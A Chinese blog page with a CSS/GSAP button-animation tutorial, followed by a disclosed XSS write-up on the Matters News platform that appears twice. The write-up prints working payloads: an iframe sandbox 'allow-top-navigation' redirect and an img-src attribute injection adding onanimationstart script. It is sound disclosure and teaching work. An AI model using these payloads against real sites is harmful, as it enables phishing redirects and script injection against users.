疫情升溫,待在家裡救人救己,除了打電動玩健身環外,也是個好機會來培養培養自己的美術能力,然而平常工作沒什麼機會製作動畫的我,即便有了時間,也不知道要從何下手,上了 Dribbble、CodePen 找靈感,的確看到很多有趣的作品,但是大多都很複雜,不像是一個週末午後的休閒良品,例如,Ben Evans 的這個作品:
See the Pen Pure CSS Landscape - An Evening in Southwold by Ben Evans (@ivorjetski) on CodePen.
這張像是照片一樣的圖片,你能想像是單純用 CSS 製作的嗎?作者有放上他製作這作品的縮時影片(影片的音樂還是他自己做的,真有才華),雖然不知道總共花了多少時間,但以他的另一個同樣驚人且至少花費一百小時的作品推斷,時數少不到哪去的。
我知道很多人會覺得,『對呀很酷,但為什麼?』。
我也不懂為什麼,但知道能利用 CSS 做出這種極限真的很令人感到興奮。光是觀察他的程式碼就可以學到不少技巧,像是:
即便是用 CSS 繪圖,相信大部分的人也都是用普通的 div
、span
來組裝圖案,但如果你打開剛剛那範例的 HTML,會看到這樣的結構:
<landscape>
<sky>
<x>
<x></x>
<x></x>
</x>
<x>
<x></x>
<x></x>
...</x
></sky
></landscape
>
全都是 custom element,以為是他自製的 web component 但他又沒有對應的 Javascript?🤔
其實現今瀏覽器對這種 invalid 的 HTML tag 容忍度很高,只要有給定 CSS,瀏覽器還是能正常渲染出來。實際專案上當然不建議這樣做,但在製作 CSS 繪圖或藝術動畫這類通常擁有複雜 HTML 結構的作品上時,就能讓程式碼看起來簡潔許多,等同於讓 tag name 取代 class name。
我們都知道 rem
會隨著 root element 的 font-size 自動調整大小,所以若是我們也能動態調整 root element 的大小,並用 rem
來設定所有元素的 size,那就能讓頁面輕鬆 responsive。要做到這點可以利用 vmin
:
html {
font-size: 1vmin;
}
vmin
對應 viewport 的短邊,意即螢幕縮小時,該值也會隨之變小,這樣就能達到我們要的效果。
其實還有其他技巧,但已經扯夠遠了😅。
雖然試著理解高手如何做到是能吸收不少經驗,但還是會想要自己動手做點什麼,好在我又發現了另一個稍微平易近人的高手 - Aaron Iker,他大多的作品都圍繞在一個網頁上不可缺乏,但鮮少被人拿來做文章的元件 - "按鈕"上。
按鈕,幾乎所有網頁都會用到它,但就是拿來觸發一些動作,被觸發的動作才是我們在意的,很少會在上頭多作著墨,頂多加個 Hover 變色或位移就很差不多了。
但看看下面這個實例:
一點小巧思,瞬間就讓按鈕活了起來。
而且因為範圍限縮在了按鈕的大小,就算動畫稍微華麗一些也不會對整體頁面造成太多干擾。
受到 Aaron 啟發,趁著空閒時間我也試著做了一個按鈕動畫,今天這篇文章就分享一下過程中使用到的工具與眉角!
這次的按鈕動畫主要修改自 Dribbble 上 YorKun 的作品 - Button Lock Animation,感謝作者還有附上 Figma 檔案,讓我能更輕鬆的參照 Style。
不過我並沒有完全照著原作的動畫製作,主要是想多試試一些不同的動畫組合,接下來我會一一介紹。
我一開始想達到的動畫有四項:
理論上應該是很快就能完成,但因為對 GSAP 不熟,花了些冤枉路,導致最後只完成了前三項的效果,算是差強人意。
用到的工具主要是 GSAP 與 GSAP 的 Draggable plugin
GSAP 的 Draggable plugin 真的有夠簡單好用,只要給定想要啟動 Draggable 的 DOM 物件,並指定要拖拉的方向(type)與範圍(bounds),就能瞬間完成這樣的效果(demo 由此去):
// 註冊 gsap 的 draggable plugin
gsap.registerPlugin(Draggable);
// 把需要互動的 DOM 用 querySelector 選出來
const button = document.querySelector(".unlock-btn");
const lockerArea = button.querySelector(".locker");
const dropArea = button.querySelector(".drop");
// 主要的 Draggable instance
Draggable.create(lockerArea, {
type: "x",
bounds: button,
onDrag(e) {},
onRelease(e) {
if (!this.hitTest(dropArea)) {
gsap.to(lockerArea, {
x: 0,
duration: 0.6,
ease: "elastic.out(1, .75)"
});
} else {
// this.disable();
gsap.to(lockerArea, {
x: dropArea.offsetLeft - 9,
duration: 0.6,
ease: "elastic.out(1, .8)",
onUpdate(e) {
tl.restart();
}
});
}
}
});
中間可以看到,我們指定 type
為 x
,表示移動方向為 x 軸,而 bounds
為 button
DOM 物件,所以最多不會拖移超過 butotn 的範圍。
另外,影片中有一個效果是當你拖拉到前後兩端點的時候,會有一個吸力把拖移中的物件吸過去,這段其實是需要靠額外的兩個動畫效果來達成。
Draggable.create()
可以傳入的 Option 中,能指定 onDrag
與 onRelease
handler,在 onRelease
的時候我們可以透過 this.hitTest(dropArea)
這個 Draggable 內建的函式判斷拖拉中的物件是否觸碰到另一個指定的 DOM 物件,若還沒碰到,我們就拉回到起點,也就是這段所做的事:
gsap.to(lockerArea, {
x: 0,
duration: 0.6,
ease: "elastic.out(1, .75)"
});
透過 gsap.to
可以讓指定的 DOM 物件變換到我們傳入的 property 狀態,以此例子來說就是位移到原點,等同於 apply transform:translateX(0)
。
而若觸碰到指定物件,則可以調整 x
來將拖移物件直接拉到指定物件,這樣就能製造出吸力的效果。
此外,在觸碰到物件後的 gsap.to
函式中,我們也傳入了 onUpdate
handler,該 handler 會在動畫完成後被觸發,剛好讓我們能接著下一階段的動畫 - 鎖頭開啟與掉落。
當拖移物件觸碰到指定物件時,onUpdate
會被觸發:
onUpdate(e) {
tl.restart();
}
onUpdate
中我們放的是一個 Timeline
物件,它能讓我們進行序列動畫,一步步指定各個物件該如何依序執行動畫。
由於我是將整個 timeline 動畫定義在別處,所以當 onUpdate
被觸發時是呼叫 tl.restart()
,你也可以直接定義在 handler 裡面。
Timeline 使用方法一樣簡單:
let tl = gsap.timeline({ paused: true }); //create the timeline
先創建一個 timeline 物件,這邊傳入 { paused: true }
是因為我希望在之後才觸發他(上述所說,在拖移物件移動到指定區域後才觸發),所以先預設讓他暫停,這樣我們在 onUpdate
時再呼叫 restart()
即可。
題外話,一開始我並不是用 Timeline 而是在每個 gsap.to
的 onUpdate
中去呼叫另一個 gsap.to
,這樣雖然也是可行,但讓程式碼可讀性降低很多,最終我才改成用 Timeline 來串接序列動畫。
接著就是針對每個我們想要觸發動畫的 DOM 物件設定欲變化的值:
先讓整個鎖頭的身體部分往下位移,讓上面鐵環部分保持原地,造出開鎖的效果。
tl.to(lockerBody, {
y: "120%",
duration: 0.2
})
接著利用 keyframes
針對單一物件進行一連串較為細緻的動畫,這邊主要是要將整個鎖頭(包含身體與鐵環部分)進行位移與旋轉,營造出鎖頭打開並從鎖上拿掉的動畫:
tl.to(lockerBody, { /*...略*/ })
.to(locker, {
keyframes: [
{
rotation: -45,
x: -8,
transformOrigin: "center",
duration: 0.2
},
{
x: -15,
y: -1,
duration: 0.2
},
{
x: -30,
y: 10,
duration: 0.2
},
{
y: 100,
opacity: 0,
duration: 0.2
}
]
})
接著也是差不多的步驟,一步步對其他的 DOM 物件加上最後的 - 對應開鎖狀態的動畫,替換掉 UNLOCK 字樣:
tl.to(lockerBody, { /*...略*/ })
.to(locker, { /*...略*/ })
.to(lockerArea, {
rotation: -90,
duration: 0.3
})
.to(".message,.drop,.locker-area", {
y: 30,
opacity: 0,
duration: 0.1
})
.fromTo(
".read-ok, .unlock-msg",
{
y: -30,
opacity: 0
},
{
opacity: 1,
y: 0,
duration: 0.2
}
);
注意到的是我們除了傳入 DOM object 給 gsap.to
與 gsap.fromTo
外,也能直接指定 class name,非常方便。
就這樣簡單幾行程式碼,就做好了一個套用在按鈕上的動畫,應該還算是不錯吧!
See the Pen Drag to unlock button with locker (final ver.) by Arvin (@arvin0731) on CodePen.
今天簡單練習了一下從 Dribbble 上找靈感然後用前端技術將動畫實作出來的過程,或許沒有什麼新的東西,但希望能給大家帶來點啟發,防疫期間不妨在家做點有趣的動畫或 CSS art,自娛娛人一下!
如果你不知道什麼是 XSS(Cross-site Scripting),簡單來說就是駭客可以在你的網站上面執行 JavaScript 的程式碼。既然可以執行,那就有可能可以把使用者的 token 偷走,假造使用者的身份登入,就算偷不走 token,也可以竄改頁面內容,或是把使用者導到釣魚網站等等。
要防止 XSS,就必須阻止駭客在網站上面執行程式碼,而防禦的方式有很多,例如說可以透過 CSP(Content-Security-Policy)這個 HTTP response header 防止 inline script 的執行或是限制可以載入 script 的 domain,也可以用 Trusted Types 防止一些潛在的攻擊以及指定規則,或是使用一些過濾 XSS 的 library,例如說 DOMPurify 以及 js-xss。
但是用了這些就能沒事了嗎?是也不是。
如果使用正確那當然沒有問題,但若是有用可是設定錯誤的話,還是有可能存在 XSS 的漏洞。
前陣子我剛從公司內轉到一個做資安的團隊 Cymetrics,在對一些網站做研究的時候發現了一個現成的案例,因此這篇就以這個現成的案例來說明怎樣叫做錯誤的設定,而這個設定又會帶來什麼樣的影響。
Matters News 是一個去中心化的寫作社群平台,而且所有的程式碼都有開源!
像是這種部落格平台,我最喜歡看的是他們怎麼處理內容的過濾,秉持著好奇跟研究的心態,可以來看看他們在文章跟評論的部分是怎麼做的。
Server 過濾的程式碼在這邊:matters-server/src/common/utils/xss.ts:
import xss from 'xss'
const CUSTOM_WHITE_LISTS = {
a: [...(xss.whiteList.a || []), 'class'],
figure: [],
figcaption: [],
source: ['src', 'type'],
iframe: ['src', 'frameborder', 'allowfullscreen', 'sandbox'],
}
const onIgnoreTagAttr = (tag: string, name: string, value: string) => {
/**
* Allow attributes of whitelist tags start with "data-" or "class"
*
* @see https://github.com/leizongmin/js-xss#allow-attributes-of-whitelist-tags-start-with-data-
*/
if (name.substr(0, 5) === 'data-' || name.substr(0, 5) === 'class') {
// escape its value using built-in escapeAttrValue function
return name + '="' + xss.escapeAttrValue(value) + '"'
}
}
const ignoreTagProcessor = (
tag: string,
html: string,
options: { [key: string]: any }
) => {
if (tag === 'input' || tag === 'textarea') {
return ''
}
}
const xssOptions = {
whiteList: { ...xss.whiteList, ...CUSTOM_WHITE_LISTS },
onIgnoreTagAttr,
onIgnoreTag: ignoreTagProcessor,
}
const customXSS = new xss.FilterXSS(xssOptions)
export const sanitize = (string: string) => customXSS.process(string)
這邊比較值得注意的是這一段:
const CUSTOM_WHITE_LISTS = {
a: [...(xss.whiteList.a || []), 'class'],
figure: [],
figcaption: [],
source: ['src', 'type'],
iframe: ['src', 'frameborder', 'allowfullscreen', 'sandbox'],
}
這一段就是允許被使用的 tag 跟屬性,而屬性的內容也會被過濾。例如說雖然允許 iframe 跟 src 屬性,但是 <iframe src="javascript:alert(1)">
是行不通的,因為這種 javascript:
開頭的 src 會被過濾掉。
只看 server side 的沒有用,還需要看 client side 那邊是怎麼 render 的。
對於文章的顯示是這樣的:src/views/ArticleDetail/Content/index.tsx)
<>
<div
className={classNames({ 'u-content': true, translating })}
dangerouslySetInnerHTML={{
__html: optimizeEmbed(translation || article.content),
}}
onClick={captureClicks}
ref={contentContainer}
/>
<style jsx>{styles}</style>
</>
Matters 的前端使用的是 React,在 React 裡面所 render 的東西預設都已經 escape 過了,所以基本上不會有 XSS 的洞。但有時候我們不想要它過濾,例如說文章內容,我們可能會需要一些 tag 可以 render 成 HTML,這時候就可以用 dangerouslySetInnerHTML
,傳入這個的東西會直接以 innerHTML 的方式 render 出來,不會被過濾。
所以一般來說都會採用 js-xss + dangerouslySetInnerHTML 這樣的做法,確保 render 的內容儘管是 HTML,但不會被 XSS。
這邊在傳入 dangerouslySetInnerHTML 之前先過了一個叫做 optimizeEmbed 的函式,可以繼續往下追,看到 src/common/utils/text.ts:
export const optimizeEmbed = (content: string) => {
return content
.replace(/\<iframe /g, '<iframe loading="lazy"')
.replace(
/<img\s[^>]*?src\s*=\s*['\"]([^'\"]*?)['\"][^>]*?>/g,
(match, src, offset) => {
return /* html */ `
<picture>
<source
type="image/webp"
media="(min-width: 768px)"
srcSet=${toSizedImageURL({ url: src, size: '1080w', ext: 'webp' })}
onerror="this.srcset='${src}'"
/>
<source
media="(min-width: 768px)"
srcSet=${toSizedImageURL({ url: src, size: '1080w' })}
onerror="this.srcset='${src}'"
/>
<source
type="image/webp"
srcSet=${toSizedImageURL({ url: src, size: '540w', ext: 'webp' })}
/>
<img
src=${src}
srcSet=${toSizedImageURL({ url: src, size: '540w' })}
loading="lazy"
/>
</picture>
`
}
)
}
這邊採用 RegExp 把 img src 拿出來,然後用字串拼接的方式直接拼成 HTML,再往下看 toSizedImageURL:
export const toSizedImageURL = ({ url, size, ext }: ToSizedImageURLProps) => {
const assetDomain = process.env.NEXT_PUBLIC_ASSET_DOMAIN
? `https://${process.env.NEXT_PUBLIC_ASSET_DOMAIN}`
: ''
const isOutsideLink = url.indexOf(assetDomain) < 0
const isGIF = /gif/i.test(url)
if (!assetDomain || isOutsideLink || isGIF) {
return url
}
const key = url.replace(assetDomain, ``)
const extedUrl = changeExt({ key, ext })
const prefix = size ? '/' + PROCESSED_PREFIX + '/' + size : ''
return assetDomain + prefix + extedUrl
}
只要 domain 是 assets 的 domain 並符合其他條件,就會經過一些字串處理之後回傳。
看到這邊,就大致上了解整個文章的 render 過程了。
會在 server side 用 js-xss 這套 library 進行過濾,在 client side 這邊則是用 dangerouslySetInnerHTML 來 render,其中會先對 img tag 做一些處理,把 img 改成用 picture + source 的方式針對不同解析度或是螢幕尺寸載入不同的圖片。
以上就是這個網站 render 文章的整個過程,再繼續往下看之前你可以想一下,有沒有什麼地方有問題?
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
你有發現這邊的過濾有問題嗎?
const CUSTOM_WHITE_LISTS = {
a: [...(xss.whiteList.a || []), 'class'],
figure: [],
figcaption: [],
source: ['src', 'type'],
iframe: ['src', 'frameborder', 'allowfullscreen', 'sandbox'],
}
開放 iframe 應該是因為要讓使用者可以嵌入 YouTube 影片之類的東西,但問題是這個網站並沒有用 CSP 指定合法的 domain,因此這邊的 src 可以隨意亂填,我可以自己做一個網站然後用 iframe 嵌入。如果網頁內容設計得好,看起來就會是這個網站本身的一部分:
以上只是隨便填的一個範例,主要是讓大家看個感覺,如果真的有心想攻擊的話可以弄得更精緻,內容更吸引人。
如果只是這樣的話,攻擊能否成功取決與內容是否能夠取信於使用者。但其實可以做到的不只這樣,大家知道在 iframe 裡面是可以操控外面的網站嗎?
cross origin 的 window 之間能存取的東西有限,唯一能夠改變的是 location
這個東西,意思就是我們可以在 iframe 裡面,把嵌入你的網站重新導向:
<script>
top.location = 'https://google.com'
</script>
這樣做的話,我就可以把整個網站重新導向到任何地方,一個最簡單能想到的應用就是重新導向到釣魚網站。這樣的釣魚網站成功機率是比較高的,因為使用者可能根本沒有意識到他被重新導向到其他網站了。
其實瀏覽器針對這樣的重新導向是有防禦的,上面的程式碼會出現錯誤:
Unsafe attempt to initiate navigation for frame with origin 'https://matters.news' from frame with URL 'https://53469602917d.ngrok.io/'. The frame attempting navigation is targeting its top-level window, but is neither same-origin with its target nor has it received a user gesture. See https://www.chromestatus.com/features/5851021045661696.
Uncaught DOMException: Failed to set the 'href' property on 'Location': The current window does not have permission to navigate the target frame to 'https://google.com'
因為不是 same origin,所以會阻止 iframe 對 top level window 做導向。
但是呢!這個東西是可以繞過的,會運用到 sandbox 這個屬性。這個屬性其實就是在指定嵌入的 iframe 有什麼權限,所以只要改成:<iframe sandbox="allow-top-navigation allow-scripts allow-same-origin" src=example.com></iframe>
,就可以成功對 top level window 重新導向,把整個網站給導走。
這邊的修正方式有幾個,第一個是可以先把 sandbox 這個屬性拿掉,讓這個屬性不能被使用。如果真的有地方需要用到的話,就需要檢查裡面的值,把比較危險的 allow-top-navigation
給拿掉。
再來的話也可以限制 iframe src 的位置,可以在不同層面做掉,例如說在程式碼裡面自己過濾 src,只允許特定 domain,或者是用 CSP:frame-src 讓瀏覽器把這些不符合的 domain 自己擋掉。
第一個問題能造成最大的危險大概就是重新導向了(codimd 那一篇是說在 Safari 可以做出 XSS 啦,只是我做不出來 QQ),但是除了這個之外,還有一個更大的問題,那就是這邊:
<>
<div
className={classNames({ 'u-content': true, translating })}
dangerouslySetInnerHTML={{
__html: optimizeEmbed(translation || article.content),
}}
onClick={captureClicks}
ref={contentContainer}
/>
<style jsx>{styles}</style>
</>
article.content
是經過 js-xss 過濾後的 HTML 字串,所以是安全的,但這邊經過了一個 optimizeEmbed
去做自訂的轉換,在過濾以後還去改變內容其實是一件比較危險的事,因為如果處理的過程有疏忽,就會造成 XSS 的漏洞。
在轉換裡面有一段程式碼為:
<source
type="image/webp"
media="(min-width: 768px)"
srcSet=${toSizedImageURL({ url: src, size: '1080w', ext: 'webp' })}
onerror="this.srcset='${src}'"
/>
仔細看這段程式碼,如果 ${toSizedImageURL({ url: src, size: '1080w', ext: 'webp' })}
或是 src
我們可以控制的話,就有機會能夠改變屬性的內容,或者是新增屬性上去。
我原本想插入一個惡意的 src 讓 onerror 變成 onerror="this.srcset='test';alert(1)"
之類的程式碼,但我後來發現 picture 底下的 source 的 onerror 事件好像是無效的,就算 srcset 有錯也不會觸發,所以是沒用的。
因此我就把焦點轉向 srcSet 以及插入新的屬性,這邊可以用 onanimationstart
這個屬性,在 animation 開始時會觸發的一個事件,而 animation 的名字可以去 CSS 裡面找,很幸運地找到了一個 keyframe 叫做spinning
。
因此如果 img src 為:https://assets.matters.news/processed/1080w/embed/test style=animation-name:spinning onanimationstart=console.log(1337)
結合後的程式碼就是:
<source
type="image/webp"
media="(min-width: 768px)"
srcSet=https://assets.matters.news/processed/1080w/embed/test
style=animation-name:spinning
onanimationstart=console.log(1337)
onerror="this.srcset='${src}'"
/>
如此一來,就製造了一個 XSS 的漏洞:
修補方式也有幾個:
我們找到了兩個漏洞:
<iframe>
把使用者導到任意位置<source>
執行文章頁面的 XSS 攻擊那實際上到底可以做到什麼樣的攻擊呢?
可以先用第二個漏洞發表一篇有 XSS 攻擊的文章,再寫一個機器人去所有文章底下留言,利用 <iframe>
把使用者導到具有 XSS 的文章。如此一來,只要使用者點擊任何一篇文章都會被攻擊到。
不過網站本身其他地方的防禦做得不錯,儘管有 XSS 但 Cookie 是 HttpOnly 的所以偷不走,修改密碼是用寄信的所以也沒辦法修改密碼,似乎沒辦法做到真的太嚴重的事情。
許多過濾 XSS 的 library 本身是安全的(雖然有些時候其實還是會被發現漏洞),但使用 library 的人可能忽略了一些設定或者是額外做了一些事情,導致最後產生出來的 HTML 依然是不安全的。
在處理與使用者輸入相關的地方時,應該對於每一個環節都重新檢視一遍,看看是否有疏忽的地方。
CSP 的 header 也建議設定一下,至少在真的被 XSS 時還有最後一道防線擋住。雖然說 CSP 有些規則也可以被繞過,但至少比什麼都沒有好。
Matters 有自己的 Bug Bounty Program,只要找到能證明危害的漏洞都有獎金可以拿,這篇找到的 XSS 漏洞被歸類在 High,價值 150 元美金。他們團隊相信開源能惠及技術人員,也能讓網站更安全,因此希望大家知道這個計畫的存在。
最後,感謝 Matters 團隊快速的回覆以及處理,也感謝 Cymetrics 的同事們。
時間軸:
如果你不知道什麼是 XSS(Cross-site Scripting),簡單來說就是駭客可以在你的網站上面執行 JavaScript 的程式碼。既然可以執行,那就有可能可以把使用者的 token 偷走,假造使用者的身份登入,就算偷不走 token,也可以竄改頁面內容,或是把使用者導到釣魚網站等等。
要防止 XSS,就必須阻止駭客在網站上面執行程式碼,而防禦的方式有很多,例如說可以透過 CSP(Content-Security-Policy)這個 HTTP response header 防止 inline script 的執行或是限制可以載入 script 的 domain,也可以用 Trusted Types 防止一些潛在的攻擊以及指定規則,或是使用一些過濾 XSS 的 library,例如說 DOMPurify 以及 js-xss。
但是用了這些就能沒事了嗎?是也不是。
如果使用正確那當然沒有問題,但若是有用可是設定錯誤的話,還是有可能存在 XSS 的漏洞。
前陣子我剛從公司內轉到一個做資安的團隊 Cymetrics,在對一些網站做研究的時候發現了一個現成的案例,因此這篇就以這個現成的案例來說明怎樣叫做錯誤的設定,而這個設定又會帶來什麼樣的影響。
Matters News 是一個去中心化的寫作社群平台,而且所有的程式碼都有開源!
像是這種部落格平台,我最喜歡看的是他們怎麼處理內容的過濾,秉持著好奇跟研究的心態,可以來看看他們在文章跟評論的部分是怎麼做的。
Server 過濾的程式碼在這邊:matters-server/src/common/utils/xss.ts:
import xss from 'xss'
const CUSTOM_WHITE_LISTS = {
a: [...(xss.whiteList.a || []), 'class'],
figure: [],
figcaption: [],
source: ['src', 'type'],
iframe: ['src', 'frameborder', 'allowfullscreen', 'sandbox'],
}
const onIgnoreTagAttr = (tag: string, name: string, value: string) => {
/**
* Allow attributes of whitelist tags start with "data-" or "class"
*
* @see https://github.com/leizongmin/js-xss#allow-attributes-of-whitelist-tags-start-with-data-
*/
if (name.substr(0, 5) === 'data-' || name.substr(0, 5) === 'class') {
// escape its value using built-in escapeAttrValue function
return name + '="' + xss.escapeAttrValue(value) + '"'
}
}
const ignoreTagProcessor = (
tag: string,
html: string,
options: { [key: string]: any }
) => {
if (tag === 'input' || tag === 'textarea') {
return ''
}
}
const xssOptions = {
whiteList: { ...xss.whiteList, ...CUSTOM_WHITE_LISTS },
onIgnoreTagAttr,
onIgnoreTag: ignoreTagProcessor,
}
const customXSS = new xss.FilterXSS(xssOptions)
export const sanitize = (string: string) => customXSS.process(string)
這邊比較值得注意的是這一段:
const CUSTOM_WHITE_LISTS = {
a: [...(xss.whiteList.a || []), 'class'],
figure: [],
figcaption: [],
source: ['src', 'type'],
iframe: ['src', 'frameborder', 'allowfullscreen', 'sandbox'],
}
這一段就是允許被使用的 tag 跟屬性,而屬性的內容也會被過濾。例如說雖然允許 iframe 跟 src 屬性,但是 <iframe src="javascript:alert(1)">
是行不通的,因為這種 javascript:
開頭的 src 會被過濾掉。
只看 server side 的沒有用,還需要看 client side 那邊是怎麼 render 的。
對於文章的顯示是這樣的:src/views/ArticleDetail/Content/index.tsx)
<>
<div
className={classNames({ 'u-content': true, translating })}
dangerouslySetInnerHTML={{
__html: optimizeEmbed(translation || article.content),
}}
onClick={captureClicks}
ref={contentContainer}
/>
<style jsx>{styles}</style>
</>
Matters 的前端使用的是 React,在 React 裡面所 render 的東西預設都已經 escape 過了,所以基本上不會有 XSS 的洞。但有時候我們不想要它過濾,例如說文章內容,我們可能會需要一些 tag 可以 render 成 HTML,這時候就可以用 dangerouslySetInnerHTML
,傳入這個的東西會直接以 innerHTML 的方式 render 出來,不會被過濾。
所以一般來說都會採用 js-xss + dangerouslySetInnerHTML 這樣的做法,確保 render 的內容儘管是 HTML,但不會被 XSS。
這邊在傳入 dangerouslySetInnerHTML 之前先過了一個叫做 optimizeEmbed 的函式,可以繼續往下追,看到 src/common/utils/text.ts:
export const optimizeEmbed = (content: string) => {
return content
.replace(/\<iframe /g, '<iframe loading="lazy"')
.replace(
/<img\s[^>]*?src\s*=\s*['\"]([^'\"]*?)['\"][^>]*?>/g,
(match, src, offset) => {
return /* html */ `
<picture>
<source
type="image/webp"
media="(min-width: 768px)"
srcSet=${toSizedImageURL({ url: src, size: '1080w', ext: 'webp' })}
onerror="this.srcset='${src}'"
/>
<source
media="(min-width: 768px)"
srcSet=${toSizedImageURL({ url: src, size: '1080w' })}
onerror="this.srcset='${src}'"
/>
<source
type="image/webp"
srcSet=${toSizedImageURL({ url: src, size: '540w', ext: 'webp' })}
/>
<img
src=${src}
srcSet=${toSizedImageURL({ url: src, size: '540w' })}
loading="lazy"
/>
</picture>
`
}
)
}
這邊採用 RegExp 把 img src 拿出來,然後用字串拼接的方式直接拼成 HTML,再往下看 toSizedImageURL:
export const toSizedImageURL = ({ url, size, ext }: ToSizedImageURLProps) => {
const assetDomain = process.env.NEXT_PUBLIC_ASSET_DOMAIN
? `https://${process.env.NEXT_PUBLIC_ASSET_DOMAIN}`
: ''
const isOutsideLink = url.indexOf(assetDomain) < 0
const isGIF = /gif/i.test(url)
if (!assetDomain || isOutsideLink || isGIF) {
return url
}
const key = url.replace(assetDomain, ``)
const extedUrl = changeExt({ key, ext })
const prefix = size ? '/' + PROCESSED_PREFIX + '/' + size : ''
return assetDomain + prefix + extedUrl
}
只要 domain 是 assets 的 domain 並符合其他條件,就會經過一些字串處理之後回傳。
看到這邊,就大致上了解整個文章的 render 過程了。
會在 server side 用 js-xss 這套 library 進行過濾,在 client side 這邊則是用 dangerouslySetInnerHTML 來 render,其中會先對 img tag 做一些處理,把 img 改成用 picture + source 的方式針對不同解析度或是螢幕尺寸載入不同的圖片。
以上就是這個網站 render 文章的整個過程,再繼續往下看之前你可以想一下,有沒有什麼地方有問題?
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
== 防雷分隔 ==
你有發現這邊的過濾有問題嗎?
const CUSTOM_WHITE_LISTS = {
a: [...(xss.whiteList.a || []), 'class'],
figure: [],
figcaption: [],
source: ['src', 'type'],
iframe: ['src', 'frameborder', 'allowfullscreen', 'sandbox'],
}
開放 iframe 應該是因為要讓使用者可以嵌入 YouTube 影片之類的東西,但問題是這個網站並沒有用 CSP 指定合法的 domain,因此這邊的 src 可以隨意亂填,我可以自己做一個網站然後用 iframe 嵌入。如果網頁內容設計得好,看起來就會是這個網站本身的一部分:
以上只是隨便填的一個範例,主要是讓大家看個感覺,如果真的有心想攻擊的話可以弄得更精緻,內容更吸引人。
如果只是這樣的話,攻擊能否成功取決與內容是否能夠取信於使用者。但其實可以做到的不只這樣,大家知道在 iframe 裡面是可以操控外面的網站嗎?
cross origin 的 window 之間能存取的東西有限,唯一能夠改變的是 location
這個東西,意思就是我們可以在 iframe 裡面,把嵌入你的網站重新導向:
<script>
top.location = 'https://google.com'
</script>
這樣做的話,我就可以把整個網站重新導向到任何地方,一個最簡單能想到的應用就是重新導向到釣魚網站。這樣的釣魚網站成功機率是比較高的,因為使用者可能根本沒有意識到他被重新導向到其他網站了。
其實瀏覽器針對這樣的重新導向是有防禦的,上面的程式碼會出現錯誤:
Unsafe attempt to initiate navigation for frame with origin 'https://matters.news' from frame with URL 'https://53469602917d.ngrok.io/'. The frame attempting navigation is targeting its top-level window, but is neither same-origin with its target nor has it received a user gesture. See https://www.chromestatus.com/features/5851021045661696.
Uncaught DOMException: Failed to set the 'href' property on 'Location': The current window does not have permission to navigate the target frame to 'https://google.com'
因為不是 same origin,所以會阻止 iframe 對 top level window 做導向。
但是呢!這個東西是可以繞過的,會運用到 sandbox 這個屬性。這個屬性其實就是在指定嵌入的 iframe 有什麼權限,所以只要改成:<iframe sandbox="allow-top-navigation allow-scripts allow-same-origin" src=example.com></iframe>
,就可以成功對 top level window 重新導向,把整個網站給導走。
這邊的修正方式有幾個,第一個是可以先把 sandbox 這個屬性拿掉,讓這個屬性不能被使用。如果真的有地方需要用到的話,就需要檢查裡面的值,把比較危險的 allow-top-navigation
給拿掉。
再來的話也可以限制 iframe src 的位置,可以在不同層面做掉,例如說在程式碼裡面自己過濾 src,只允許特定 domain,或者是用 CSP:frame-src 讓瀏覽器把這些不符合的 domain 自己擋掉。
第一個問題能造成最大的危險大概就是重新導向了(codimd 那一篇是說在 Safari 可以做出 XSS 啦,只是我做不出來 QQ),但是除了這個之外,還有一個更大的問題,那就是這邊:
<>
<div
className={classNames({ 'u-content': true, translating })}
dangerouslySetInnerHTML={{
__html: optimizeEmbed(translation || article.content),
}}
onClick={captureClicks}
ref={contentContainer}
/>
<style jsx>{styles}</style>
</>
article.content
是經過 js-xss 過濾後的 HTML 字串,所以是安全的,但這邊經過了一個 optimizeEmbed
去做自訂的轉換,在過濾以後還去改變內容其實是一件比較危險的事,因為如果處理的過程有疏忽,就會造成 XSS 的漏洞。
在轉換裡面有一段程式碼為:
<source
type="image/webp"
media="(min-width: 768px)"
srcSet=${toSizedImageURL({ url: src, size: '1080w', ext: 'webp' })}
onerror="this.srcset='${src}'"
/>
仔細看這段程式碼,如果 ${toSizedImageURL({ url: src, size: '1080w', ext: 'webp' })}
或是 src
我們可以控制的話,就有機會能夠改變屬性的內容,或者是新增屬性上去。
我原本想插入一個惡意的 src 讓 onerror 變成 onerror="this.srcset='test';alert(1)"
之類的程式碼,但我後來發現 picture 底下的 source 的 onerror 事件好像是無效的,就算 srcset 有錯也不會觸發,所以是沒用的。
因此我就把焦點轉向 srcSet 以及插入新的屬性,這邊可以用 onanimationstart
這個屬性,在 animation 開始時會觸發的一個事件,而 animation 的名字可以去 CSS 裡面找,很幸運地找到了一個 keyframe 叫做spinning
。
因此如果 img src 為:https://assets.matters.news/processed/1080w/embed/test style=animation-name:spinning onanimationstart=console.log(1337)
結合後的程式碼就是:
<source
type="image/webp"
media="(min-width: 768px)"
srcSet=https://assets.matters.news/processed/1080w/embed/test
style=animation-name:spinning
onanimationstart=console.log(1337)
onerror="this.srcset='${src}'"
/>
如此一來,就製造了一個 XSS 的漏洞:
修補方式也有幾個:
我們找到了兩個漏洞:
<iframe>
把使用者導到任意位置<source>
執行文章頁面的 XSS 攻擊那實際上到底可以做到什麼樣的攻擊呢?
可以先用第二個漏洞發表一篇有 XSS 攻擊的文章,再寫一個機器人去所有文章底下留言,利用 <iframe>
把使用者導到具有 XSS 的文章。如此一來,只要使用者點擊任何一篇文章都會被攻擊到。
不過網站本身其他地方的防禦做得不錯,儘管有 XSS 但 Cookie 是 HttpOnly 的所以偷不走,修改密碼是用寄信的所以也沒辦法修改密碼,似乎沒辦法做到真的太嚴重的事情。
許多過濾 XSS 的 library 本身是安全的(雖然有些時候其實還是會被發現漏洞),但使用 library 的人可能忽略了一些設定或者是額外做了一些事情,導致最後產生出來的 HTML 依然是不安全的。
在處理與使用者輸入相關的地方時,應該對於每一個環節都重新檢視一遍,看看是否有疏忽的地方。
